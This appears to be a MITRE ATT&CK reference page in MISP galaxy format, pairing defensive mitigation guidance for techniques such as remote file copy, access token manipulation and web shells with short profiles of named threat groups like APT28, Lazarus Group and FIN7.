Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software components targeted for privilege escalation.
Remote File Copy Mitigation - T1105
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
Indirect Command Execution Mitigation - T1202
Identify or block potentially malicious software that may contain abusive functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP). These mechanisms can also be used to disable and/or limit user access to Windows utilities used to invoke execution.
Exfiltration Over Alternative Protocol Mitigation - T1048
Follow best practices for network firewall configurations to allow only necessary ports and traffic to enter and exit the network. For example, if services like FTP are not required for sending information outside of a network, then block FTP-related ports at the network perimeter. Enforce proxies and use dedicated servers for services such as DNS and only allow those systems to communicate over respective ports/protocols, instead of all systems within a network. (Citation: TechNet Firewall Design) These actions will help reduce command and control and exfiltration path opportunities.
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
Private Keys Mitigation - T1145
Use strong passphrases for private keys to make cracking difficult. When possible, store keys on separate cryptographic hardware instead of on the local system. Ensure only authorized keys are allowed access to critical resources and audit access lists regularly. Ensure permissions are properly set on folders containing sensitive private keys to prevent unintended access. Use separate infrastructure for managing critical systems to prevent overlap of credentials and permissions on systems that could be used as vectors for lateral movement. Follow other best practices for mitigating access through use of Valid Accounts.
Rc.common Mitigation - T1163
Limit privileges of user accounts so only authorized users can edit the rc.common file.
Access Token Manipulation Mitigation - T1134
Access tokens are an integral part of the security system within Windows and cannot be turned off. However, an attacker must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require to do their job.
Any user can also spoof access tokens if they have legitimate credentials. Follow mitigation guidelines for preventing adversary use of Valid Accounts. Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token. (Citation: Microsoft Replace Process Token)
Also limit opportunities for adversaries to increase privileges by limiting Privilege Escalation opportunities.
Hidden Window Mitigation - T1143
Whitelist programs that are allowed to have this plist tag. All other programs should be considered suspicious.
Remote Desktop Protocol Mitigation - T1076
Disable the RDP service if it is unnecessary, remove unnecessary accounts and groups from Remote Desktop Users groups, and enable firewall rules to block RDP traffic between network security zones. Audit the Remote Desktop Users group membership regularly. Remove the local Administrators group from the list of groups allowed to log in through RDP. Limit remote user permissions if remote access is necessary. Use remote desktop gateways and multifactor authentication for remote logins. (Citation: Berkley Secure) Do not leave RDP accessible from the internet. Change GPOs to define shorter timeouts sessions and maximum amount of time any single session can be active. Change GPOs to specify the maximum amount of time that a disconnected session stays active on the RD session host server. (Citation: Windows RDP Sessions)
Data from Information Repositories Mitigation - T1213
To mitigate adversary access to information repositories for collection:
-
Develop and publish policies that define acceptable information to be stored
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Appropriate implementation of access control mechanisms that include both authentication and appropriate authorization
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Enforce the principle of least-privilege
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Periodic privilege review of accounts
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Mitigate access to Valid Accounts that may be used to access repositories
Web Service Mitigation - T1102
Firewalls and Web proxies can be used to enforce external network communication policy. It may be difficult for an organization to block particular services because so many of them are commonly used during the course of business.
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol or encoded commands used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
Input Prompt Mitigation - T1141
Users need to be trained to know which programs ask for permission and why. Follow mitigation recommendations for AppleScript.
Network Service Scanning Mitigation - T1046
Use network intrusion detection/prevention systems to detect and prevent remote service scans. Ensure that unnecessary ports and services are closed and proper network segmentation is followed to protect critical servers and devices.
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services running on remote systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Windows Management Instrumentation Event Subscription Mitigation - T1084
Disabling WMI services may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI; restrict other users that are allowed to connect, or disallow all users from connecting remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 2015)
Data from Local System Mitigation - T1005
Identify unnecessary system utilities or potentially malicious software that may be used to collect data from the local system, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Custom Cryptographic Protocol Mitigation - T1024
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Since the custom protocol used may not adhere to typical protocol standards, there may be opportunities to signature the traffic on a network level for detection. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
Credentials in Files Mitigation - T1081
Establish an organizational policy that prohibits password storage in files. Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers. Preemptively search for files containing passwords and remove when found. Restrict file shares to specific directories with access only to necessary users. Remove vulnerable Group Policy Preferences. (Citation: Microsoft MS14-025)
Port Knocking Mitigation - T1205
Mitigation of some variants of this technique could be achieved through the use of stateful firewalls, depending upon how it is implemented.
Drive-by Compromise Mitigation - T1189
Drive-by compromise relies on there being a vulnerable piece of software on the client end systems. Use modern browsers with security features turned on. Ensure all browsers and plugins kept updated can help prevent the exploit phase of this technique.
For malicious code served up through ads, adblockers can help prevent that code from executing in the first place. Script blocking extensions can help prevent the execution of JavaScript that may commonly be used during the exploitation process.
Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)
Other types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)
Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.
Permission Groups Discovery Mitigation - T1069
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about groups and permissions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Logon Scripts Mitigation - T1037
Restrict write access to logon scripts to specific administrators. Prevent access to administrator accounts by mitigating Credential Access techniques and limiting account access and permissions of Valid Accounts.
Identify and block potentially malicious software that may be executed through logon script modification by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.
Code Signing Mitigation - T1116
Process whitelisting and trusted publishers to verify authenticity of software can help prevent signed malicious or untrusted code from executing on a system. (Citation: NSA MS AppLocker) (Citation: TechNet Trusted Publishers) (Citation: Securelist Digital Certificates)
Hardware Additions Mitigation - T1200
Establish network access control policies, such as using device certificates and the 802.1x standard. (Citation: Wikipedia 802.1x) Restrict use of DHCP to registered devices to prevent unregistered devices from communicating with trusted systems.
Block unknown devices and accessories by endpoint security configuration and monitoring agent.
Windows Remote Management Mitigation - T1028
Disable the WinRM service. If the service is necessary, lock down critical enclaves with separate WinRM infrastructure, accounts, and permissions. Follow WinRM best practices on configuration of authentication methods and use of host firewalls to restrict WinRM access to allow communication only to/from specific devices. (Citation: NSA Spotting)
Web Shell Mitigation - T1100
Ensure that externally facing Web servers are patched regularly to prevent adversary access through Exploitation for Privilege Escalation to gain remote code access or through file inclusion weaknesses that may allow adversaries to upload files or scripts that are automatically served as Web pages.
Audit account and group permissions to ensure that accounts used to manage servers do not overlap with accounts and permissions of users in the internal network that could be acquired through Credential Access and used to log into the Web server and plant a Web shell or pivot from the Web server into the internal network. (Citation: US-CERT Alert TA15-314A Web Shells)
Process Doppelgänging Mitigation - T1186
This type of attack technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate process-loading mechanisms from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.
Although Process Doppelgänging may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Data Obfuscation Mitigation - T1001
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
Software Packing Mitigation - T1045
Ensure updated virus definitions. Create custom signatures for observed malware. Employ heuristic-based malware detection.
Identify and prevent execution of potentially malicious software that may have been packed by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Security Software Discovery Mitigation - T1063
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about local security software, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Enterprise Attack -intrusion Set
Name of ATT&CK Group.
Enterprise Attack -intrusion Set is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
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MITRE
Poseidon Group - G0033
Poseidon Group is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the Poseidon Group as a security firm. (Citation: Kaspersky Poseidon Group)
Poseidon Group - G0033 is also known as:
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Poseidon Group
Links |
Group5 - G0043
Group5 is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. Group5 has used two commonly available remote access tools (RATs), njRAT and NanoCore, as well as an Android RAT, DroidJack. (Citation: Citizen Lab Group5)
Group5 - G0043 is also known as:
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Group5
Links |
PittyTiger - G0011
PittyTiger is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control. (Citation: Bizeul 2014) (Citation: Villeneuve 2014)
PittyTiger - G0011 is also known as:
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PittyTiger
Links |
http://blog.cassidiancybersecurity.com/post/2014/07/The-Eye-of-the-Tiger2 |
https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html |
admin@338 - G0018
admin@338 is a China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as PoisonIvy, as well as some non-public backdoors. (Citation: FireEye admin@338)
admin@338 - G0018 is also known as:
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admin@338
Links |
https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html |
RTM - G0048
RTM is a cybercriminal group that has been active since at least 2015 and is primarily interested in users of remote banking systems in Russia and neighboring countries. The group uses a Trojan by the same name (RTM). (Citation: ESET RTM Feb 2017)
RTM - G0048 is also known as:
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RTM
Links |
https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf |
APT16 - G0023
APT16 is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations. (Citation: FireEye EPS Awakens Part 2)
APT16 - G0023 is also known as:
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APT16
Links |
https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html |
Sowbug - G0054
Sowbug is a threat group that has conducted targeted attacks against organizations in South America and Southeast Asia, particularly government entities, since at least 2015. (Citation: Symantec Sowbug Nov 2017)
Contributors: Alan Neville, @abnev
Sowbug - G0054 is also known as:
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Sowbug
Links |
APT28 - G0007
APT28 is a threat group that has been attributed to the Russian government. (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28) January 2017 (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee in April 2016. (Citation: Crowdstrike DNC June 2016)
APT28 - G0007 is also known as:
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APT28
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Sednit
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Sofacy
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Pawn Storm
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Fancy Bear
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STRONTIUM
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Tsar Team
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Threat Group-4127
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TG-4127
PLATINUM - G0068
PLATINUM is an activity group that has targeted victims since at least 2009. The group has focused on targets associated with governments and related organizations in South and Southeast Asia. (Citation: Microsoft PLATINUM April 2016)
Contributors: Ryan Becwar
PLATINUM - G0068 is also known as:
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PLATINUM
Links |
Winnti Group - G0044
Winnti Group is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting. Though both this group and Axiom use the malware Winnti, the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015)
Winnti Group - G0044 is also known as:
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Winnti Group
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Blackfly
Links |
http://www.novetta.com/wp-content/uploads/2015/04/novetta%20winntianalysis.pdf |
Deep Panda - G0009
Deep Panda is a suspected Chinese threat group known to target many industries, including government, defense, financial, and telecommunications. (Citation: Alperovitch 2014) The intrusion into healthcare company Anthem has been attributed to Deep Panda. (Citation: ThreatConnect Anthem) This group is also known as Shell Crew, WebMasters, KungFu Kittens, and PinkPanther. (Citation: RSA Shell Crew) Deep Panda also appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion. (Citation: Symantec Black Vine)
Deep Panda - G0009 is also known as:
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Deep Panda
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Shell Crew
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WebMasters
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KungFu Kittens
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PinkPanther
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Black Vine
Molerats - G0021
Molerats is a politically-motivated threat group that has been operating since 2012. The group’s victims have primarily been in the Middle East, Europe, and the United States. (Citation: DustySky) (Citation: DustySky)2
Molerats - G0021 is also known as:
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Molerats
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Operation Molerats
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Gaza Cybergang
Links |
Strider - G0041
Strider is a threat group that has been active since at least 2011 and has targeted victims in Russia, China, Sweden, Belgium, Iran, and Rwanda. (Citation: Symantec Strider Blog) (Citation: Kaspersky ProjectSauron Blog)
Strider - G0041 is also known as:
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Strider
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ProjectSauron
Links |
http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets |
Sandworm Team - G0034
Sandworm Team is a cyber espionage group that has operated since approximately 2009 and has been attributed to Russia. (Citation: iSIGHT Sandworm 2014)
Sandworm Team - G0034 is also known as:
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Sandworm Team
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Quedagh
Links |
https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html |
FIN6 - G0037
FIN6 is a cyber crime group that has stolen payment card data and sold it for profit on underground marketplaces. This group has aggressively targeted and compromised point of sale (PoS) systems in the hospitality and retail sectors. (Citation: FireEye FIN6 April 2016)
FIN6 - G0037 is also known as:
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FIN6
Links |
Dust Storm - G0031
Dust Storm is a threat group that has targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries. (Citation: Cylance Dust Storm)
Dust Storm - G0031 is also known as:
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Dust Storm
Links |
https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf |
TA459 - G0062
TA459 is a threat group believed to operate out of China that has targeted countries including Russia, Belarus, Mongolia, and others. (Citation: Proofpoint TA459 April 2017)
Contributors: Valerii Marchuk, Cybersecurity Help s.r.o.
TA459 - G0062 is also known as:
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TA459
Links |
https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts |
APT37 - G0067
APT37 is a suspected North Korean cyber espionage group that has been active since at least 2012. The group has targeted victims primarily in South Korea, but also in Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East. The group was believed to be responsible for a 2016 campaign known as Operation Daybreak as well as an earlier campaign known as Operation Erebus. (Citation: FireEye APT37 Feb 2018) (Citation: Securelist ScarCruft Jun 2016)
Contributors: Valerii Marchuk, Cybersecurity Help s.r.o.
APT37 - G0067 is also known as:
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APT37
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ScarCruft
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Reaper
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Group123
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TEMP.Reaper
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf |
Cleaver - G0003
Cleaver is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver. (Citation: Cylance Cleaver) Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889). (Citation: Dell Threat Group 2889)
Cleaver - G0003 is also known as:
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Cleaver
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TG-2889
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Threat Group 2889
Links |
APT12 - G0005
APT12 is a threat group that has been attributed to China. (Citation: Meyers Numbered Panda)
APT12 - G0005 is also known as:
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APT12
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IXESHE
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DynCalc
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Numbered Panda
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DNSCALC
Links |
NEODYMIUM - G0055
NEODYMIUM is an activity group that conducted a campaign in May 2016 and has heavily targeted Turkish victims. The group has demonstrated similarity to another activity group called PROMETHIUM due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21) NEODYMIUM is reportedly associated closely with BlackOasis operations, but evidence that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)
NEODYMIUM - G0055 is also known as:
-
NEODYMIUM
Links |
APT34 - G0057
APT34 is an Iranian cyber espionage group that has been active since at least 2014. The group has targeted a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. APT34 loosely aligns with public reporting related to OilRig, but may not wholly align due to companies tracking threat groups in different ways. (Citation: FireEye APT34 Dec 2017)
APT34 - G0057 is also known as:
-
APT34
Links |
https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html |
Moafee - G0002
Moafee is a threat group that appears to operate from the Guandong Province of China. Due to overlapping TTPs, including similar custom tools, Moafee is thought to have a direct or indirect relationship with the threat group DragonOK. (Citation: Haq 2014)
Moafee - G0002 is also known as:
-
Moafee
Links |
https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html |
Threat Group-3390 - G0027
Threat Group-3390 is a Chinese threat group that has extensively used strategic Web compromises to target victims. (Citation: Dell TG-3390) The group has targeted organizations in the aerospace, government, defense, technology, energy, and manufacturing sectors. (Citation: SecureWorks BRONZE UNION June 2017)
Threat Group-3390 - G0027 is also known as:
-
Threat Group-3390
-
TG-3390
-
Emissary Panda
-
BRONZE UNION
Links |
DragonOK - G0017
DragonOK is a threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, DragonOK is thought to have a direct or indirect relationship with the threat group Moafee. (Citation: Operation Quantum Entanglement) It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT. (Citation: New DragonOK)
DragonOK - G0017 is also known as:
-
DragonOK
Links |
APT1 - G0006
APT1 is a Chinese threat group that has been attributed to the 2nd Bureau of the People’s Liberation Army (PLA) General Staff Department’s (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398. (Citation: Mandiant APT1)
APT1 - G0006 is also known as:
-
APT1
-
Comment Crew
-
Comment Group
-
Comment Panda
Links |
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf |
FIN10 - G0051
FIN10 is a financially motivated threat group that has targeted organizations in North America since at least 2013 through 2016. The group uses stolen data exfiltrated from victims to extort organizations. (Citation: FireEye FIN10 June 2017)
FIN10 - G0051 is also known as:
-
FIN10
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf |
OilRig - G0049
OilRig is a threat group with suspected Iranian origins that has targeted Middle Eastern and international victims since at least 2015. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook OilRig Dec 2017) Reporting on OilRig may loosely overlap with APT34, but may not wholly align due to companies tracking groups in different ways. (Citation: FireEye APT34 Dec 2017)
Contributors: Robert Falcone, Bryan Lee
OilRig - G0049 is also known as:
-
OilRig
Links |
https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html |
Charming Kitten - G0058
Charming Kitten is an Iranian cyber espionage group that has been active since approximately 2014. They appear to focus on targeting individuals of interest to Iran who work in academic research, human rights, and media, with most victims having been located in Iran, the US, Israel, and the UK. Charming Kitten usually tries to access private email and Facebook accounts, and sometimes establishes a foothold on victim computers as a secondary objective. The group’s TTPs overlap extensively with another group, Rocket Kitten, resulting in reporting that may not distinguish between the two groups' activities. (Citation: ClearSky Charming Kitten Dec 2017)
Charming Kitten - G0058 is also known as:
-
Charming Kitten
Links |
http://www.clearskysec.com/wp-content/uploads/2017/12/Charming%20Kitten%202017.pdf |
FIN5 - G0053
FIN5 is a financially motivated threat group that has targeted personally identifiable information and payment card information. The group has been active since at least 2008 and has targeted the restaurant, gaming, and hotel industries. The group is made up of actors who likely speak Russian. (Citation: FireEye Respond Webinar July 2017) (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)
Contributors: Walker Johnson
FIN5 - G0053 is also known as:
-
FIN5
Links |
BlackOasis - G0063
BlackOasis is a Middle Eastern threat group that is believed to be a customer of Gamma Group. The group has shown interest in prominent figures in the United Nations, as well as opposition bloggers, activists, regional news correspondents, and think tanks. (Citation: Securelist BlackOasis Oct 2017) (Citation: Securelist APT Trends Q2 2017) A group known by Microsoft as NEODYMIUM is reportedly associated closely with BlackOasis operations, but evidence that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)
BlackOasis - G0063 is also known as:
-
BlackOasis
Links |
https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/ |
Taidoor - G0015
Taidoor is a threat group that has operated since at least 2009 and has primarily targeted the Taiwanese government. (Citation: TrendMicro Taidoor)
Taidoor - G0015 is also known as:
-
Taidoor
Links |
Night Dragon - G0014
Night Dragon is a campaign name for activity involving threat group that has conducted activity originating primarily in China. (Citation: McAfee Night Dragon) The activity from this group is also known as Musical Chairs. (Citation: Arbor Musical Chairs Feb 2018)
Night Dragon - G0014 is also known as:
-
Night Dragon
-
Musical Chairs
Links |
https://www.arbornetworks.com/blog/asert/musical-chairs-playing-tetris/ |
Naikon - G0019
Naikon is a threat group that has focused on targets around the South China Sea. (Citation: Baumgartner Naikon 2015) The group has been attributed to the Chinese People’s Liberation Army’s (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau (Military Unit Cover Designator 78020). (Citation: CameraShy) While Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches. (Citation: Baumgartner Golovkin Naikon 2015)
Naikon - G0019 is also known as:
-
Naikon
Links |
https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf |
http://cdn2.hubspot.net/hubfs/454298/Project%20CAMERASHY%20ThreatConnect%20Copyright%202015.pdf |
Ke3chang - G0004
Ke3chang is a threat group attributed to actors operating out of China. (Citation: Villeneuve et al 2014)
Ke3chang - G0004 is also known as:
-
Ke3chang
Links |
APT32 - G0050
APT32 is a threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as with foreign governments, dissidents, and journalists, and has extensively used strategic web compromises to compromise victims. The group is believed to be Vietnam-based. (Citation: FireEye APT32 May 2017) (Citation: Volexity OceanLotus Nov 2017)
APT32 - G0050 is also known as:
-
APT32
-
OceanLotus Group
Links |
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html |
MuddyWater - G0069
MuddyWater is an Iranian threat group that has primarily targeted Middle Eastern nations. Activity from this group was previously linked to FIN7, but is believed to be a distinct group motivated by espionage. (Citation: Unit 42 MuddyWater Nov 2017)
MuddyWater - G0069 is also known as:
-
MuddyWater
-
TEMP.Zagros
Links |
Patchwork - G0040
Patchwork is a threat group that was first observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. Much of the code used by this group was copied and pasted from online forums. (Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork)
Patchwork - G0040 is also known as:
-
Patchwork
-
Dropping Elephant
-
Chinastrats
-
MONSOON
-
Operation Hangover
Links |
https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling%20Patchwork.pdf |
APT30 - G0013
APT30 is a threat group suspected to be associated with the Chinese government. (Citation: FireEye APT30) While Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches. (Citation: Baumgartner Golovkin Naikon 2015)
APT30 - G0013 is also known as:
-
APT30
Links |
MONSOON - G0042
Links |
APT17 - G0025
APT17 is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations. (Citation: FireEye APT17)
APT17 - G0025 is also known as:
-
APT17
-
Deputy Dog
Links |
https://www2.fireeye.com/rs/fireye/images/APT17%20Report.pdf |
FIN7 - G0046
FIN7 is a financially motivated threat group that has primarily targeted the retail and hospitality sectors, often using point-of-sale malware. It is sometimes referred to as Carbanak Group, but these appear to be two groups using the same Carbanak malware and are therefore tracked separately. (Citation: FireEye FIN7 March 2017) (Citation: FireEye FIN7 April 2017)
FIN7 - G0046 is also known as:
-
FIN7
Links |
https://www.fireeye.com/blog/threat-research/2017/03/fin7%20spear%20phishing.html |
https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html |
APT3 - G0022
APT3 is a China-based threat group that researchers have attributed to China’s Ministry of State Security. (Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap. (Citation: FireEye Clandestine Wolf) (Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong. (Citation: Symantec Buckeye)
(Citation: APT3 Adversary Emulation Plan)
APT3 - G0022 is also known as:
-
APT3
-
Gothic Panda
-
Pirpi
-
UPS Team
-
Buckeye
-
Threat Group-0110
-
TG-0110
GCMAN - G0036
GCMAN is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services. (Citation: Securelist GCMAN)
GCMAN - G0036 is also known as:
-
GCMAN
Links |
Lazarus Group - G0032
Lazarus Group is a threat group that has been attributed to the North Korean government. (Citation: US-CERT HIDDEN COBRA June 2017) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by Lazarus Group correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster)
Lazarus Group - G0032 is also known as:
-
Lazarus Group
-
HIDDEN COBRA
-
Guardians of Peace
-
ZINC
-
NICKEL ACADEMY
Links |
https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf |
Lotus Blossom - G0030
Lotus Blossom is a threat group that has targeted government and military organizations in Southeast Asia. (Citation: Lotus Blossom Jun 2015)
Lotus Blossom - G0030 is also known as:
-
Lotus Blossom
-
Spring Dragon
Links |
https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html |
Equation - G0020
Equation is a sophisticated threat group that employs multiple remote access tools. The group is known to use zero-day exploits and has developed the capability to overwrite the firmware of hard disk drives. (Citation: Kaspersky Equation QA)
Equation - G0020 is also known as:
-
Equation
Links |
https://securelist.com/files/2015/02/Equation%20group%20questions%20and%20answers.pdf |
Darkhotel - G0012
Darkhotel is a threat group that has been active since at least 2004. The group has conducted activity on hotel and business center Wi‑Fi and physical connections as well as peer-to-peer and file sharing networks. The actors have also conducted spearphishing. (Citation: Kaspersky Darkhotel)
Darkhotel - G0012 is also known as:
-
Darkhotel
Links |
